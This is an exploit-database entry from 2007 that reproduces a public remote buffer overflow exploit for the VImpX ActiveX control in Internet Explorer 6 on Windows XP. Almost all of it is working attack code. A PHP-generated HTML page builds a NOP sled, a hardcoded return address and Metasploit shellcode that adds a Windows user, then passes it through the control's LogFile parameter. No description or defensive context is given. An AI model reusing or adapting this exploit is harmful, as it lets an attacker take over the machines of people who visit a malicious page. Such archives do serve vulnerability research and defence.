VImpX ActiveX (VImpX.ocx v. 4.7.3.0) Remote Buffer Overflow Exploit

2007-05-14T00:00:00
ID SSV:6804
Type seebug
Reporter Root
Modified 2007-05-14T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <!-
IE 6 / DB Software Laboratory VImpX ActiveX (VImpX.ocx v. 4.7.3.0)
remote buffer overflow exploit
windows xp sp2 it version / eip overwrite method
by rgod
site: http://retrogod.altervista.org
mail: retrog at alice dot it

software site: http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53
->
<html>
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='VImpAX1'>
<?php
/* win32_adduser -  PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com */
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56".
"\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36".
"\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56".
"\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37".
"\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42".
"\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36".
"\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37".
"\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49\x36\x43\x37".
"\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52".
"\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54".
"\x42\x50\x5a";
$junk = "\x45\x45\x45\x59";
$eip  = "\x2d\xd1\xe0\x77"; // call eax user32.dll
$exploit= str_repeat("\x90",268).$eip.$junk."\x90\x90\x90\x0d\x01".str_repeat("\x90",16).$shellcode.str_repeat("\x90",9999);
echo "<param name=\"LogFile\" value=\"$exploit\"/>";
?>
</object>
</html>